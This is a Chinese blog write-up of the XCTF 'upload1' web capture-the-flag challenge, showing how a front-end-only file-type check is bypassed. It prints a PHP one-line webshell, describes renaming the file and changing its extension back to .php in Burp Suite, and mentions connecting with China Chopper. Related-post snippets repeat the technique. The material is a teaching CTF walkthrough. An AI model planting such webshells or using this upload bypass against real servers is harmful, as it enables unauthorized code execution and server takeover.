攻防世界 web upload1 write up

最新推荐文章于 2024-04-22 17:07:01 发布
最新推荐文章于 2024-04-22 17:07:01 发布
阅读量239 收藏
点赞数
分类专栏： 攻防世界 write up 文章标签： php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_43478096/article/details/104783743
版权

资料：http://39.96.86.88/2020/04/03/文件上传绕过

  1. 查看源代码发现又js代码，只能上传jpg与png格式的文件。
    https://blog.csdn.net/YUK_103/article/details/103839927

REQUEST包含了GET,POST,COOKIE是一个整合命令
2. 新建一个1.txt，写入php一句话:<?php @eval($_REQUEST[‘c’]);?>，然后修改后缀为.png或.jpg。然后再上传途中burp suite抓包修改后缀为.php实现对文件格式要求的绕过。
在这里插入图片描述
在这里插入图片描述
3. 上传成功
在这里插入图片描述

  1. 菜刀连接得到flag
    在这里插入图片描述在这里插入图片描述
    在这里插入图片描述
tothemoon_2019
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
攻防世界CTF题：upload1
Aixwei的博客
04-11 1002
发现这里有个onchange事件，大概写了个前端的文件check，那我们在前端把它删掉再上传文件试试。发现了 disabled属性，我们把它删掉之后上传按键可以点击了，此时点击上传，可以看到上传成功。细看当前页面，发现上传按钮灰掉了，但是上传的文件还保留在前端并没有删除，此时再查看前端代码，最后，通过上传图片类型的木马，再通过bp抓包修改后缀绕过前端验证也是可以的成功。发现这里弹窗提示你要上传图片，可能是前端验证文件格式，所以先看一下源代码，我们先正常上传一句话木马，被拦截后点击确定，
【愚公系列】2023年05月 攻防世界-Web（upload1）
热门推荐
时光隧道
01-25 3万+
文件上传漏洞是指攻击者通过上传含有恶意代码的文件，导致服务器被攻击的一种漏洞。当攻击者上传的文件没有经过检测或检查时，恶意代码便会被执行。在上传文件时，由于没有正确地验证上传文件的类型、大小和路径等相关信息，攻击者通过上传恶意代码的方式，可以控制并篡改Web应用程序，进而访问敏感信息。Webshell就是指攻击者在Web服务器上上传的恶意代码，一旦上传成功，则攻击者可以通过Web页面的方式，执行服务器上的各种操作，包括修改、删除、添加等。由于Webshell的具有隐藏性和隐蔽性，因此很难被发现和清除。
CTF-WEB篇 攻防世界题目实战解析upload1
最新发布
2301_76565920的博客
04-22 962
题目：upload 知识点：一句话木马，webshell，burpsuite拦截并修改数据包
攻防世界：upload1
bjml_的博客
11-06 721
攻防世界：upload1
xctf攻防世界 upload1
m0_71282722的博客
05-08 201
此时将木马文件后缀改为jpg，一会再用bp改过来。查看flag.php 找到flag。第二种上传方式：使用bp绕过。第一种：前端绕过，删除约束。此时能上传php文件了。
XCTF-攻防世界CTF平台-Web类——11、upload1（文件上传、前端校验）
Onlyone_1314的博客
11-23 4603
目录标题（1）把οnchange="check();去掉（2）禁用浏览器的JS脚本运行（3）Burp Suite抓包修改文件后缀名POST方法一句话木马GET方法一句话木马蚁剑连接 打开题目地址： 是一个文件上传的题目 选择一个一句话脚本上传： 前端存在JS代码校验文件类型，如果上传的文件后缀不是jpg和png，就会让上传按钮变得不使能： 要绕过前端的JS代码校验，常见的方法有： （1）把οnchange="check();去掉 可以直接把οnchange="check();去掉，这样提交文件的时候就
攻防世界Wire1杂项
11-20
攻防世界Wire1杂项，misc。 此题详细解题博客：https://danbaku.blog.csdn.net/article/details/127951997
攻防世界杂项津门杯2021-m1
11-14
攻防世界杂项津门杯2021-m1，misc。 此题详细解题博客：https://blog.csdn.net/m0_59188912/article/details/127840757
攻防世界pacp1杂项
11-15
攻防世界pacp1杂项，misc。 此题详细解题博客：https://blog.csdn.net/m0_59188912/article/details/127862299
攻防世界杂项流量分析1
11-14
攻防世界杂项流量分析1，misc。 此题详细解题博客：https://blog.csdn.net/m0_59188912/article/details/127840807
攻防世界1-misc杂项
11-20
攻防世界1-misc杂项，misc。 此题详细解题博客：https://danbaku.blog.csdn.net/article/details/127947726
攻防世界-WEB-upload1
Lucifer的专栏
09-09 310
必须上传图片，F12审计一下代码。得到上传成功的文件，请求文件名。get成功，证明文件已经上传。一句话木马，使用菜刀连接。通过bp修改文件类型。
【攻防世界】十三 --- upload1 --- 文件上传
qq_43168364的博客
12-25 363
题目 — upload1 一、writeup 这里上传了纯纯的一句话木马文件，快速的回显出了，弹窗 可以判断使用的是前端检测手段，将getshell.php改名为getshell.jpg上传，用bp抓包 上传成功 对应的目录用蚁剑链接即可 得到flag 二、知识点 文件上传 ......
xctf-upload1
x1871329637的博客
09-01 783
只能上传图片，写一句话木马，通过burp抓包修改后缀上传。将shell.jpg后缀改为php同时也拿到了目录。修改后缀为jpg抓包上传。
攻防世界-Web-upload1
Welcome To Myon'Blog !
03-27 265
一句话木马，文件上传，绕过，PHP，抓包改包放包，burp使用，蚁剑用法
攻防世界Web “warmup、NewsCenter、upload1”题解
qq_53325209的博客
04-25 3069
攻防世界Web “warmup、NewsCenter、upload1”题解。
记xctf_web upload1
fly夏天的博客
09-30 1965
题目一打开就只有上传界面 习惯性的后台扫描一下没有可以页面，看来目标就在这个上传功能上面了。 尝试上传php文件，报错。 这里我尝试传了一个图片马，能成功上传但是菜刀无法执行。 f12检查源码，发现前端有一个js验证，有一个白名单过滤，只允许上传png或jpg文件。 这里我们可以直接前端删除这段js函数。 然后选择上传一个php文件，刷新即可成功上传。 网站直接给出了上传地址...
XCTF-高手进阶区：upload1
1stPeak's Blog
02-29 795
1、访问题目 2、测试 说明存在前端过滤，只能上传图片文件 3、解决方法：先将含有一句话木马的1.php后缀修改为x.jpg来绕过前端认证，同时使用bp抓包，再修改后缀为php，从而可以使用蚁剑连接 当然，这里可以使用URL利用 注：这里直接访问不会显示，因为是php代码，没有输出，所以需要查看网页源代码 ...
攻防世界XCTF：upload
末初的CSDN博客
03-08 826
这里有个注册登入，迷惑行为，漏洞不在这里 这题比较意外，不是上传题是sql注入而且还是文件名的SQL注入， 因为回显的只是文件名，然后它存入数据库的也可能是文件名，既然连接了数据库就可能存在注入漏洞。然后就能想到可能是文件名sql注入。 任何与数据库发生连接交互的地方都可能存在SQL注入！ 然后就开始构造文件名的payload，首先介绍几个函数。 conv(N,from_base,to_ba...
攻防世界upload1
07-28
- *2* *3* [XCTF-攻防世界CTF平台-Web类——11、upload1（文件上传、前端校验）](https://blog.csdn.net/Onlyone_1314/article/details/121503130)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值